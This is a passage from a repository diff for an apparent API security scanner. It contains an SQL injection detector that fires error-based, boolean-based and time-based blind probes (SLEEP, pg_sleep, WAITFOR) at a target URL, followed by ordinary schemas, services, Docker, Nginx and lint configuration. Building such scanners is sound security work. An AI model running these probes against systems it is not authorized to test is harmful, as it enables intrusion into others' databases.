severity=Severity.CRITICAL,
recommendations=[
"Use parameterized queries (prepared statements)",
"Never concatenate user input into SQL queries",
"Implement input validation and sanitization",
"Disable detailed error messages in production",
"Use ORM frameworks with proper escaping",
],
)
boolean_based_test = self._test_boolean_based_sqli()
if boolean_based_test["vulnerable"]:
return self._create_vulnerable_result(
details="Boolean-based blind SQL injection detected",
evidence=boolean_based_test,
severity=Severity.CRITICAL,
recommendations=[
"Use parameterized queries for all database operations",
"Implement proper input validation",
"Avoid exposing different responses for true/false conditions",
],
)
time_based_test = self._test_time_based_sqli()
if time_based_test["vulnerable"]:
return self._create_vulnerable_result(
details=f"Time-based blind SQL injection detected: {time_based_test['database_type']}",
evidence=time_based_test,
severity=Severity.CRITICAL,
recommendations=[
"Use parameterized queries exclusively",
"Implement strict input validation",
"Monitor for unusual response time patterns",
],
)
return TestResultCreate(
test_name=TestType.SQLI,
status=ScanStatus.SAFE,
severity=Severity.INFO,
details="No SQL injection vulnerabilities detected",
evidence_json={
"error_based_test": error_based_test,
"boolean_based_test": boolean_based_test,
"time_based_test": time_based_test,
},
recommendations_json=[
"Continue using parameterized queries",
"Regularly update security testing",
],
)
def _test_error_based_sqli(self) -> dict[str, Any]:
"""
Test for error based SQL injection
Detects database errors in responses indicating SQLi vulnerability
Returns:
dict[str, Any]: Error-based SQLi test results
"""
error_signatures = SQLiPayloads.get_error_signatures()
basic_payloads = SQLiPayloads.BASIC_AUTHENTICATION_BYPASS
for payload in basic_payloads:
try:
response = self.make_request(
"GET", f"/?id={payload}"
)
response_text_lower = response.text.lower()
for db_type, signatures in error_signatures.items():
for signature in signatures:
if signature in response_text_lower:
return {
"vulnerable": True,
"database_type": db_type,
"payload": payload,
"status_code": response.status_code,
"error_signature": signature,
"response_excerpt": response.text[:500],
}
except Exception:
continue
return {
"vulnerable": False,
"payloads_tested": len(basic_payloads),
"description": "No database errors detected",
}
def _test_boolean_based_sqli(self) -> dict[str, Any]:
"""
Test for boolean based blind SQL injection
Compares responses from true vs false conditions to detect SQLi
Returns:
dict[str, Any]: Boolean based SQLi test results
"""
try:
baseline_response = self.make_request("GET", "/?id=1")
baseline_length = len(baseline_response.text)
baseline_status = baseline_response.status_code
if baseline_status != 200:
return {
"vulnerable": False,
"description": "Baseline request failed",
"baseline_status": baseline_status,
}
boolean_payloads = SQLiPayloads.BOOLEAN_BASED_BLIND
true_payloads = [p for p in boolean_payloads if "AND '1'='1" in p or "AND 1=1" in p]
false_payloads = [p for p in boolean_payloads if "AND '1'='2" in p or "AND 1=2" in p or "AND 1=0" in p]
true_lengths = []
for payload in true_payloads:
response = self.make_request("GET", f"/?id={payload}")
true_lengths.append(len(response.text))
false_lengths = []
for payload in false_payloads:
response = self.make_request("GET", f"/?id={payload}")
false_lengths.append(len(response.text))
avg_true = statistics.mean(true_lengths)
avg_false = statistics.mean(false_lengths)
length_diff = abs(avg_true - avg_false)
if length_diff > 100 and avg_true != avg_false:
return {
"vulnerable": True,
"baseline_length": baseline_length,
"true_condition_avg_length": avg_true,
"false_condition_avg_length": avg_false,
"length_difference": length_diff,
"confidence": "HIGH"
if length_diff > 500
else "MEDIUM",
}
return {
"vulnerable": False,
"description": "No boolean-based SQLi detected",
"length_difference": length_diff,
}
except Exception as e:
return {
"vulnerable": False,
"error": str(e),
"description": "Error testing boolean-based SQLi",
}
def _test_time_based_sqli(
self, delay_seconds: int = 5
) -> dict[str, Any]:
"""
Test for time based blind SQL injection
Uses baseline timing comparison with statistical analysis
for false positive reduction
Args:
delay_seconds: Delay to inject (from settings)
Returns:
dict[str, Any]: Time-based SQLi test results
"""
try:
baseline_mean, baseline_stdev = self.get_baseline_timing("/")
threshold = baseline_mean + (3 * baseline_stdev)
expected_delay_time = baseline_mean + delay_seconds
all_time_payloads = SQLiPayloads.TIME_BASED_BLIND
delay_payloads = {
"mysql": [p for p in all_time_payloads if "SLEEP" in p],
"postgres": [p for p in all_time_payloads if "pg_sleep" in p],
"mssql": [p for p in all_time_payloads if "WAITFOR" in p],
}
for db_type, payloads in delay_payloads.items():
for payload in payloads:
delay_times = []
for _ in range(3):
try:
response = self.make_request(
"GET",
f"/?id={payload}",
timeout=delay_seconds + 10,
)
elapsed = getattr(response, "request_time", 0.0)
delay_times.append(elapsed)
except Exception:
delay_times.append(delay_seconds + 10)
time.sleep(1)
avg_delay = statistics.mean(delay_times)
if avg_delay >= expected_delay_time - 1:
confidence = (
"HIGH"
if avg_delay >= expected_delay_time
else "MEDIUM"
)
return {
"vulnerable": True,
"database_type": db_type,
"payload": payload,
"baseline_time": f"{baseline_mean:.3f}s",
"response_time": f"{avg_delay:.3f}s",
"expected_delay": f"{expected_delay_time:.3f}s",
"confidence": confidence,
"individual_times": [
f"{t:.3f}s" for t in delay_times
],
}
return {
"vulnerable": False,
"baseline_time": f"{baseline_mean:.3f}s",
"threshold": f"{threshold:.3f}s",
"description": "No time-based SQLi detected",
}
except Exception as e:
return {
"vulnerable": False,
"error": str(e),
"description": "Error testing time-based SQLi",
}
def _create_vulnerable_result(
self,
details: str,
evidence: dict[str, Any],
severity: Severity = Severity.CRITICAL,
recommendations: list[str] | None = None,
) -> TestResultCreate:
"""
Create a vulnerable scan result
Args:
details: Vulnerability description
evidence: Evidence dictionary
severity: Vulnerability severity
recommendations: List of remediation recommendations
Returns:
TestResultCreate: Vulnerable result
"""
return TestResultCreate(
test_name=TestType.SQLI,
status=ScanStatus.VULNERABLE,
severity=severity,
details=details,
evidence_json=evidence,
recommendations_json=recommendations or [],
)

View File

@ -0,0 +1,30 @@
"""Pydantic schemas for API validation and serialization"""
from .user_schemas import (
TokenResponse,
UserCreate,
UserLogin,
UserResponse,
)
from .scan_schemas import (
ScanRequest,
ScanResponse,
)
from .test_result_schemas import (
TestResultCreate,
TestResultResponse,
)
__all__ = [
# User schemas
"UserCreate",
"UserLogin",
"UserResponse",
"TokenResponse",
# Scan schemas
"ScanRequest",
"ScanResponse",
# Test result schemas
"TestResultCreate",
"TestResultResponse",
]

View File

@ -0,0 +1,63 @@
"""
AngelaMos | 2025
Scan model API validation and serialization.
"""
from __future__ import annotations
from pydantic import (
BaseModel,
ConfigDict,
Field,
HttpUrl,
)
from datetime import datetime
from ..config import settings
from ..core.enums import TestType
class ScanRequest(BaseModel):
"""
Schema for creating a new security scan
"""
target_url: HttpUrl = Field(max_length = settings.URL_MAX_LENGTH)
auth_token: str | None = None
tests_to_run: list[TestType] = Field(min_length = 1)
max_requests: int = Field(
default = settings.DEFAULT_MAX_REQUESTS,
ge = 1,
le = settings.SCANNER_MAX_CONCURRENT_REQUESTS,
)
class ScanResponse(BaseModel):
"""
Schema for scan data in API responses
"""
# Circular to avoid circular imports
from .test_result_schemas import TestResultResponse
model_config = ConfigDict(from_attributes = True)
id: int
user_id: int
target_url: str
scan_date: datetime
created_at: datetime
test_results: list[TestResultResponse] = []
@property
def total_tests(self) -> int:
"""
Total number of tests run
"""
return len(self.test_results)
@property
def vulnerabilities_found(self) -> int:
"""
Number of vulnerabilities found
"""
return sum(
1 for r in self.test_results if r.status == "vulnerable"
)

View File

@ -0,0 +1,61 @@
"""
AngelaMos | 2025
TestResult model API validation and serialization
"""
from typing import Any
from datetime import datetime
from pydantic import (
BaseModel,
ConfigDict,
Field,
)
from ..core.enums import (
ScanStatus,
Severity,
TestType,
)
class TestResultCreate(BaseModel):
"""
Schema for creating a new test result (used by scanners)
"""
test_name: TestType
status: ScanStatus
severity: Severity
details: str
evidence_json: dict[str, Any] = Field(default_factory = dict)
recommendations_json: list[str] = Field(default_factory = list)
class TestResultResponse(BaseModel):
"""
Schema for individual test result in API responses
"""
model_config = ConfigDict(from_attributes = True)
id: int
scan_id: int
test_name: TestType
status: ScanStatus
severity: Severity
details: str
evidence_json: dict[str, Any]
recommendations_json: list[str]
created_at: datetime
@property
def is_vulnerable(self) -> bool:
"""
Check if result indicates a vulnerability
"""
return self.status == ScanStatus.VULNERABLE
@property
def is_high_severity(self) -> bool:
"""
Check if vulnerability is high severity
"""
return self.severity == Severity.HIGH

View File

@ -0,0 +1,55 @@
"""
Pydantic schemas for User model - API validation and serialization.
"""
from __future__ import annotations
from datetime import datetime
from pydantic import BaseModel, ConfigDict, EmailStr, Field
from ..config import settings
class UserCreate(BaseModel):
"""
Schema for user registration request.
"""
email: EmailStr
password: str = Field(
min_length = settings.PASSWORD_MIN_LENGTH,
max_length = settings.PASSWORD_MAX_LENGTH,
)
class UserLogin(BaseModel):
"""
Schema for user login request.
"""
email: EmailStr
password: str
class UserResponse(BaseModel):
"""
Schema for user data in API responses.
Excludes sensitive fields like hashed_password.
"""
model_config = ConfigDict(from_attributes = True)
id: int
email: str
is_active: bool
created_at: datetime
class TokenResponse(BaseModel):
"""
Schema for JWT token response.
"""
access_token: str
token_type: str = "bearer"

View File

@ -0,0 +1,13 @@
"""
AngelaMos | 2025
Biz logic layer for orchestrating repositories and scanners
"""
from .auth_service import AuthService
from .scan_service import ScanService
__all__ = [
"AuthService",
"ScanService",
]

View File

@ -0,0 +1,132 @@
"""
©AngelaMos | 2025
Authentication service for user registration and login
"""
from __future__ import annotations
from datetime import timedelta
from sqlalchemy.orm import Session
from fastapi import HTTPException, status
from ..config import settings
from ..core.security import (
create_access_token,
hash_password,
verify_password,
)
from ..schemas.user_schemas import (
TokenResponse,
UserCreate,
UserLogin,
UserResponse,
)
from ..repositories.user_repository import UserRepository
class AuthService:
"""
User registration, login, and token generation
"""
@staticmethod
def register_user(
db: Session,
user_data: UserCreate
) -> UserResponse:
"""
Register a new user
Args:
db: Database session
user_data: User registration data
Returns:
UserResponse: Created user data
"""
existing_user = UserRepository.get_by_email(
db,
user_data.email
)
if existing_user:
raise HTTPException(
status_code = status.HTTP_400_BAD_REQUEST,
detail = "Email already registered",
)
hashed_password = hash_password(user_data.password)
user = UserRepository.create_user(
db = db,
email = user_data.email,
hashed_password = hashed_password,
)
return UserResponse.model_validate(user)
@staticmethod
def login_user(
db: Session,
login_data: UserLogin
) -> TokenResponse:
"""
Authenticate user and generate access token
Args:
db: Database session
login_data: User login credentials
Returns:
TokenResponse: JWT access token
"""
user = UserRepository.get_by_email(db, login_data.email)
if not user:
raise HTTPException(
status_code = status.HTTP_401_UNAUTHORIZED,
detail = "Invalid email or password",
)
if not verify_password(login_data.password,
user.hashed_password):
raise HTTPException(
status_code = status.HTTP_401_UNAUTHORIZED,
detail = "Invalid email or password",
)
if not user.is_active:
raise HTTPException(
status_code = status.HTTP_403_FORBIDDEN,
detail = "Account is inactive",
)
access_token = create_access_token(
data = {"sub": user.email},
expires_delta = timedelta(
minutes = settings.ACCESS_TOKEN_EXPIRE_MINUTES
),
)
return TokenResponse(
access_token = access_token,
token_type = "bearer"
)
@staticmethod
def get_user_by_email(
db: Session,
email: str
) -> UserResponse | None:
"""
Get user by email address
Args:
db: Database session
email: User email
Returns:
UserResponse | None: User data or None if not found
"""
user = UserRepository.get_by_email(db, email)
if user:
return UserResponse.model_validate(user)
return None

View File

@ -0,0 +1,194 @@
"""
©AngelaMos | 2025
Coordinates scanners and saves results
"""
from __future__ import annotations
from sqlalchemy.orm import Session
from fastapi import HTTPException, status
from ..core.enums import TestType
from ..repositories.scan_repository import ScanRepository
from ..repositories.test_result_repository import TestResultRepository
from ..scanners.auth_scanner import AuthScanner
from ..scanners.idor_scanner import IDORScanner
from ..scanners.sqli_scanner import SQLiScanner
from ..scanners.rate_limit_scanner import RateLimitScanner
from ..schemas.test_result_schemas import TestResultCreate
from ..schemas.scan_schemas import ScanRequest, ScanResponse
class ScanService:
"""
Orchestrates security scanning workflow
"""
@staticmethod
def run_scan(
db: Session,
user_id: int,
scan_request: ScanRequest
) -> ScanResponse:
"""
Execute security scan with selected tests
Args:
db: Database session
user_id: User ID initiating the scan
scan_request: Scan configuration and tests to run
Returns:
ScanResponse: Scan results with all test outcomes
"""
scan = ScanRepository.create_scan(
db = db,
user_id = user_id,
target_url = str(scan_request.target_url),
)
scanner_mapping = {
TestType.RATE_LIMIT: RateLimitScanner,
TestType.AUTH: AuthScanner,
TestType.SQLI: SQLiScanner,
TestType.IDOR: IDORScanner,
}
results: list[TestResultCreate] = []
for test_type in scan_request.tests_to_run:
scanner_class = scanner_mapping.get(test_type)
if not scanner_class:
continue
try:
scanner = scanner_class(
target_url = str(scan_request.target_url),
auth_token = scan_request.auth_token,
max_requests = scan_request.max_requests,
)
result = scanner.scan()
results.append(result)
except Exception as e:
results.append(
TestResultCreate(
test_name = test_type,
status = "error",
severity = "info",
details = f"Scanner error: {str(e)}",
evidence_json = {"error": str(e)},
recommendations_json = [
"Check target URL is accessible",
"Verify authentication token if provided",
],
)
)
for result in results:
TestResultRepository.create_test_result(
db = db,
scan_id = scan.id,
test_name = result.test_name,
status = result.status,
severity = result.severity,
details = result.details,
evidence_json = result.evidence_json,
recommendations_json = result.recommendations_json,
)
db.refresh(scan)
return ScanResponse.model_validate(scan)
@staticmethod
def get_scan_by_id(
db: Session,
scan_id: int,
user_id: int
) -> ScanResponse:
"""
Get scan by ID with authorization check
Args:
db: Database session
scan_id: Scan ID to retrieve
user_id: User ID for authorization
Returns:
ScanResponse: Scan data with results
"""
scan = ScanRepository.get_by_id(db, scan_id)
if not scan:
raise HTTPException(
status_code = status.HTTP_404_NOT_FOUND,
detail = "Scan not found",
)
if scan.user_id != user_id:
raise HTTPException(
status_code = status.HTTP_403_FORBIDDEN,
detail = "Not authorized to access this scan",
)
return ScanResponse.model_validate(scan)
@staticmethod
def get_user_scans(
db: Session,
user_id: int,
skip: int = 0,
limit: int | None = None
) -> list[ScanResponse]:
"""
Get all scans for a user with pagination
Args:
db: Database session
user_id: User ID
skip: Number of records to skip
limit: Maximum number of records to return
Returns:
list[ScanResponse]: List of user's scans
"""
scans = ScanRepository.get_by_user(
db = db,
user_id = user_id,
skip = skip,
limit = limit
)
return [ScanResponse.model_validate(scan) for scan in scans]
@staticmethod
def delete_scan(db: Session, scan_id: int, user_id: int) -> bool:
"""
Delete scan with authorization check
Args:
db: Database session
scan_id: Scan ID to delete
user_id: User ID for authorization
Returns:
bool: True if deleted successfully
"""
scan = ScanRepository.get_by_id(db, scan_id)
if not scan:
raise HTTPException(
status_code = status.HTTP_404_NOT_FOUND,
detail = "Scan not found",
)
if scan.user_id != user_id:
raise HTTPException(
status_code = status.HTTP_403_FORBIDDEN,
detail = "Not authorized to delete this scan",
)
return ScanRepository.delete(db, scan_id)

View File

@ -0,0 +1,34 @@
# ⒸAngelaMos | 2025
# Development FastAPI Dockerfile
FROM python:3.11-slim
# Set environment variables
ENV PYTHONUNBUFFERED=1 \
PYTHONDONTWRITEBYTECODE=1 \
PIP_NO_CACHE_DIR=1 \
PIP_DISABLE_PIP_VERSION_CHECK=1
# Set working directory
WORKDIR /app
# Install system dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
gcc \
postgresql-client \
&& rm -rf /var/lib/apt/lists/*
# Copy only requirements first (for layer caching)
COPY backend/requirements.txt .
# Install Python dependencies
RUN pip install --no-cache-dir -r requirements.txt
# Copy application code
COPY backend/ .
# Expose port
EXPOSE 8000
# Run with uvicorn hot reload
CMD ["uvicorn", "main:app", "--host", "0.0.0.0", "--port", "8000", "--reload"]

View File

@ -0,0 +1,24 @@
# ⒸAngelaMos | 2025
# Development Vite Dockerfile
# Runs Vite dev server with HMR (Hot Module Replacement)
# Uses volume mounts for code (defined in docker-compose.dev.yml)
FROM node:20-alpine
# Set working directory
WORKDIR /app
# Copy package files first (for layer caching)
COPY frontend/package*.json ./
# Install dependencies
RUN npm ci
# Copy application code (in dev this is overridden by volume mount)
COPY frontend/ .
# Expose port
EXPOSE 5173
# Run Vite dev server with --host to allow external connections
CMD ["npm", "run", "dev", "--", "--host", "0.0.0.0"]

View File

@ -0,0 +1,48 @@
# ⒸAngelaMos | 2025
# Production FastAPI Dockerfile
# Optimized for performance with gunicorn multi-worker setup
# No hot reload, built image (no volume mounts)
FROM python:3.11-slim
# Set environment variables
ENV PYTHONUNBUFFERED=1 \
PYTHONDONTWRITEBYTECODE=1 \
PIP_NO_CACHE_DIR=1 \
PIP_DISABLE_PIP_VERSION_CHECK=1
# Set working directory
WORKDIR /app
# Install system dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
gcc \
postgresql-client \
&& rm -rf /var/lib/apt/lists/*
# Copy only requirements first (for layer caching)
COPY backend/requirements.txt .
# Install Python dependencies
RUN pip install --no-cache-dir -r requirements.txt
# Install gunicorn for production
RUN pip install --no-cache-dir gunicorn
# Copy application code
COPY backend/ .
# Create non-root user for security
RUN useradd -m -u 1000 appuser && chown -R appuser:appuser /app
USER appuser
# Expose port
EXPOSE 8000
# Run with gunicorn (4 workers, uvicorn worker class for async support)
CMD ["gunicorn", "main:app", \
"--workers", "4", \
"--worker-class", "uvicorn.workers.UvicornWorker", \
"--bind", "0.0.0.0:8000", \
"--access-logfile", "-", \
"--error-logfile", "-"]

View File

@ -0,0 +1,44 @@
# ⒸAngelaMos | 2025
# Production Vite Dockerfile (Multi-stage build)
# Stage 1: Build the React app with Vite
# Stage 2: Serve static files with Nginx
# ===================================
# Stage 1: Build
# ===================================
FROM node:20-alpine AS builder
WORKDIR /app
# Copy package files
COPY frontend/package*.json ./
# Install dependencies
RUN npm ci --only=production
# Copy source code
COPY frontend/ .
# Build the app (creates dist/ folder with static files)
RUN npm run build
# ===================================
# Stage 2: Serve with Nginx
# ===================================
FROM nginx:alpine
# Copy built static files from builder stage
COPY --from=builder /app/dist /usr/share/nginx/html
# Copy custom nginx configuration
COPY conf/nginx/prod.nginx /etc/nginx/nginx.conf
# Expose port
EXPOSE 80
# Health check
HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \
CMD wget --quiet --tries=1 --spider http://localhost/health || exit 1
# Start nginx
CMD ["nginx", "-g", "daemon off;"]

View File

@ -0,0 +1,61 @@
# ⒸAngelaMos | 2025
# Development Nginx Configuration
# Features:
# - Proxies to Vite dev server (with HMR/WebSocket support)
# - Proxies /api to FastAPI backend
# - No caching, no SSL
events {
worker_connections 1024;
}
http {
# Include shared config
include /etc/nginx/http.conf;
# Disable access logs in dev (less noise)
access_log off;
error_log /var/log/nginx/error.log warn;
server {
listen 80;
server_name localhost;
# Client max body size (for file uploads in scans)
client_max_body_size 10M;
# Backend API routes
location /api/ {
proxy_pass http://backend:8000/;
# Apply common proxy settings
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_cache_bypass $http_upgrade;
}
# Frontend (Vite dev server with HMR)
location / {
proxy_pass http://frontend;
# WebSocket support for Vite HMR
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
# Health check endpoint
location /health {
access_log off;
return 200 "healthy\n";
add_header Content-Type text/plain;
}
}
}

View File

@ -0,0 +1,28 @@
# ⒸAngelaMos | 2025
# Shared HTTP configuration for both dev and prod
# This file contains common settings used by dev.nginx and prod.nginx
# Upstream backend (FastAPI)
upstream backend {
server backend:8000;
}
# Upstream frontend (Vite dev server in dev, static files in prod)
upstream frontend {
server frontend:5173;
}
# Common proxy settings
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_cache_bypass $http_upgrade;
# Timeouts
proxy_connect_timeout 60s;
proxy_send_timeout 60s;
proxy_read_timeout 60s;

View File

@ -0,0 +1,136 @@
# ⒸAngelaMos | 2025
# Production Nginx Configuration
# Features:
# - Serves static frontend files from /usr/share/nginx/html
# - Proxies /api to FastAPI backend
# - Caching, gzip compression, security headers
# - SSL/HTTPS ready (commented out, uncomment when you have certificates)
events {
worker_connections 2048;
}
http {
# Include shared config
include /etc/nginx/http.conf;
include /etc/nginx/mime.types;
default_type application/octet-stream;
# Logging
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log warn;
# Performance optimizations
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
# Gzip compression
gzip on;
gzip_vary on;
gzip_min_length 1000;
gzip_comp_level 6;
gzip_types
text/plain
text/css
text/xml
text/javascript
application/json
application/javascript
application/xml+rss
application/rss+xml
font/truetype
font/opentype
application/vnd.ms-fontobject
image/svg+xml;
# HTTP server (will redirect to HTTPS in production)
server {
listen 80;
server_name localhost;
# Uncomment below to redirect HTTP to HTTPS in production
# return 301 https://$server_name$request_uri;
# Client max body size
client_max_body_size 10M;
# Security headers
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "no-referrer-when-downgrade" always;
# Backend API routes
location /api {
proxy_pass http://backend;
# Apply common proxy settings
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_cache_bypass $http_upgrade;
# Timeouts for API requests
proxy_connect_timeout 60s;
proxy_send_timeout 60s;
proxy_read_timeout 60s;
}
# Serve static frontend files
location / {
root /usr/share/nginx/html;
try_files $uri $uri/ /index.html;
# Cache static assets
location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$ {
expires 1y;
add_header Cache-Control "public, immutable";
}
# Don't cache index.html
location = /index.html {
add_header Cache-Control "no-cache, no-store, must-revalidate";
}
}
# Health check endpoint
location /health {
access_log off;
return 200 "healthy\n";
add_header Content-Type text/plain;
}
}
# HTTPS server (uncomment and configure when you have SSL certificates)
# server {
# listen 443 ssl http2;
# server_name yourdomain.com;
#
# # SSL certificates (use Let's Encrypt or similar)
# ssl_certificate /etc/nginx/ssl/cert.pem;
# ssl_certificate_key /etc/nginx/ssl/key.pem;
#
# # SSL configuration
# ssl_protocols TLSv1.2 TLSv1.3;
# ssl_ciphers HIGH:!aNULL:!MD5;
# ssl_prefer_server_ciphers on;
# ssl_session_cache shared:SSL:10m;
# ssl_session_timeout 10m;
#
# # Security headers
# add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
# add_header X-Frame-Options "SAMEORIGIN" always;
# add_header X-Content-Type-Options "nosniff" always;
# add_header X-XSS-Protection "1; mode=block" always;
#
# # Same location blocks as HTTP server above
# # ...
# }
}

View File

@ -0,0 +1,88 @@
# ⒸAngelaMos | 2025
services:
# PostgreSQL Database
db:
image: postgres:16-alpine
container_name: apisec_db_dev
environment:
POSTGRES_USER: ${POSTGRES_USER:-apiuser}
POSTGRES_PASSWORD: ${POSTGRES_PASSWORD:-apipass}
POSTGRES_DB: ${POSTGRES_DB:-apisecurity}
ports:
- "${HOST_DB_PORT:-5432}:5432"
volumes:
- postgres_data_dev:/var/lib/postgresql/data
healthcheck:
test: ["CMD-SHELL", "pg_isready -U ${POSTGRES_USER:-apiuser}"]
interval: 10s
timeout: 5s
retries: 5
networks:
- apisec_network
# FastAPI Backend
backend:
build:
context: .
dockerfile: conf/docker/dev/fastapi.docker
container_name: apisec_backend_dev
environment:
DATABASE_URL: postgresql://${POSTGRES_USER:-apiuser}:${POSTGRES_PASSWORD:-apipass}@db:5432/${POSTGRES_DB:-apisecurity}
SECRET_KEY: ${SECRET_KEY:-dev-secret-key-change-this}
DEBUG: "true"
BACKEND_HOST: ${BACKEND_HOST:-0.0.0.0}
BACKEND_PORT: ${BACKEND_PORT:-8000}
CORS_ORIGINS: ${CORS_ORIGINS:-http://localhost:5173,http://localhost:3000,http://localhost}
ports:
- "${HOST_BACKEND_PORT:-8000}:8000"
volumes:
- ./backend:/app
depends_on:
db:
condition: service_healthy
networks:
- apisec_network
restart: unless-stopped
# React Frontend (Development with Vite HMR)
frontend:
build:
context: .
dockerfile: conf/docker/dev/vite.docker
container_name: apisec_frontend_dev
environment:
VITE_API_URL: ${VITE_API_URL:-http://localhost:8000}
ports:
- "${HOST_FRONTEND_PORT:-5173}:5173"
volumes:
- ./frontend:/app
- /app/node_modules
networks:
- apisec_network
restart: unless-stopped
# Nginx Reverse Proxy
nginx:
image: nginx:alpine
container_name: apisec_nginx_dev
ports:
- "${HOST_NGINX_PORT:-80}:80"
volumes:
- ./conf/nginx/dev.nginx:/etc/nginx/nginx.conf:ro
- ./conf/nginx/http.conf:/etc/nginx/http.conf:ro
depends_on:
- backend
- frontend
networks:
- apisec_network
restart: unless-stopped
volumes:
postgres_data_dev:
name: apisec_postgres_data_dev
networks:
apisec_network:
name: apisec_network_dev
driver: bridge

View File

@ -0,0 +1,80 @@
# ⒸAngelaMos | 2025
services:
# PostgreSQL Database
db:
image: postgres:16-alpine
container_name: apisec_db_prod
environment:
POSTGRES_USER: ${POSTGRES_USER:-apiuser}
POSTGRES_PASSWORD: ${POSTGRES_PASSWORD:-apipass}
POSTGRES_DB: ${POSTGRES_DB:-apisecurity}
# Uncomment to expose DB port (not recommended for production)
# ports:
# - "${HOST_DB_PORT:-5432}:5432"
volumes:
- postgres_data_prod:/var/lib/postgresql/data
healthcheck:
test: ["CMD-SHELL", "pg_isready -U ${POSTGRES_USER:-apiuser}"]
interval: 10s
timeout: 5s
retries: 5
networks:
- apisec_network
restart: always
# FastAPI Backend (Production with Gunicorn)
backend:
build:
context: .
dockerfile: conf/docker/prod/fastapi.docker
container_name: apisec_backend_prod
environment:
DATABASE_URL: postgresql://${POSTGRES_USER:-apiuser}:${POSTGRES_PASSWORD:-apipass}@db:5432/${POSTGRES_DB:-apisecurity}
SECRET_KEY: ${SECRET_KEY}
DEBUG: "false"
BACKEND_HOST: ${BACKEND_HOST:-0.0.0.0}
BACKEND_PORT: ${BACKEND_PORT:-8000}
CORS_ORIGINS: ${CORS_ORIGINS:-https://yourdomain.com}
expose:
- "8000"
depends_on:
db:
condition: service_healthy
networks:
- apisec_network
restart: always
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:8000/"]
interval: 30s
timeout: 10s
retries: 3
start_period: 40s
# Frontend (Production - Nginx serving static files)
frontend:
build:
context: .
dockerfile: conf/docker/prod/vite.docker
container_name: apisec_frontend_prod
ports:
- "${HOST_NGINX_PORT:-80}:80"
# Uncomment for HTTPS:
# - "${HOST_NGINX_HTTPS_PORT:-443}:443"
depends_on:
- backend
networks:
- apisec_network
restart: always
# Optional: Mount SSL certificates for HTTPS
# volumes:
# - ./ssl:/etc/nginx/ssl:ro
volumes:
postgres_data_prod:
name: apisec_postgres_data_prod
networks:
apisec_network:
name: apisec_network_prod
driver: bridge

View File

@ -0,0 +1,24 @@
# Logs
logs
*.log
npm-debug.log*
yarn-debug.log*
yarn-error.log*
pnpm-debug.log*
lerna-debug.log*
node_modules
dist
dist-ssr
*.local
# Editor directories and files
.vscode/*
!.vscode/extensions.json
.idea
.DS_Store
*.suo
*.ntvs*
*.njsproj
*.sln
*.sw?

View File

@ -0,0 +1,122 @@
// ===================
// © AngelaMos | 2025
// eslint.config.js
// ===================
import js from '@eslint/js';
import tseslint from 'typescript-eslint';
import react from 'eslint-plugin-react';
import reactHooks from 'eslint-plugin-react-hooks';
import reactRefresh from 'eslint-plugin-react-refresh';
import jsxA11y from 'eslint-plugin-jsx-a11y';
import prettierConfig from 'eslint-config-prettier';
import globals from 'globals';
export default tseslint.config(
{
ignores: ['dist', 'vite.config.ts', '*.min.js', 'eslint.config.js'],
},
js.configs.recommended,
...tseslint.configs.strictTypeChecked,
...tseslint.configs.stylisticTypeChecked,
{
files: ['**/*.{ts,tsx}'],
plugins: {
react,
'react-hooks': reactHooks,
'react-refresh': reactRefresh,
'jsx-a11y': jsxA11y,
},
languageOptions: {
parser: tseslint.parser,
parserOptions: {
project: ['./tsconfig.app.json', './tsconfig.node.json'],
tsconfigRootDir: import.meta.dirname,
ecmaFeatures: { jsx: true },
},
globals: {
...globals.browser,
...globals.node,
},
},
settings: {
react: {
version: 'detect',
},
},
rules: {
'@typescript-eslint/no-unused-vars': ['error', { argsIgnorePattern: '^_', varsIgnorePattern: '^_', caughtErrorsIgnorePattern: '^_' }],
'@typescript-eslint/consistent-type-imports': ['error', { prefer: 'type-imports', fixStyle: 'inline-type-imports' }],
'@typescript-eslint/explicit-function-return-type': ['error', {
allowExpressions: true,
allowTypedFunctionExpressions: true,
allowHigherOrderFunctions: true,
allowDirectConstAssertionInArrowFunctions: true,
allowedNames: ['Component']
}],
'@typescript-eslint/naming-convention': 'off',
'@typescript-eslint/no-non-null-assertion': 'error',
'@typescript-eslint/array-type': ['error', { default: 'array' }],
'@typescript-eslint/no-explicit-any': 'error',
'@typescript-eslint/no-confusing-void-expression': 'off',
'@typescript-eslint/no-unnecessary-condition': 'off',
'@typescript-eslint/no-floating-promises': 'error',
'@typescript-eslint/strict-boolean-expressions': ['error', {
allowString: false,
allowNumber: false,
allowNullableObject: false,
allowNullableString: true,
allowAny: true
}],
'@typescript-eslint/prefer-as-const': 'error',
'@typescript-eslint/consistent-type-definitions': ['error', 'interface'],
'react/prop-types': 'off',
'react/jsx-uses-react': 'off',
'react/react-in-jsx-scope': 'off',
'react/jsx-no-leaked-render': ['error', { validStrategies: ['ternary'] }],
'react/jsx-key': ['error', { checkFragmentShorthand: true, checkKeyMustBeforeSpread: true, warnOnDuplicates: true }],
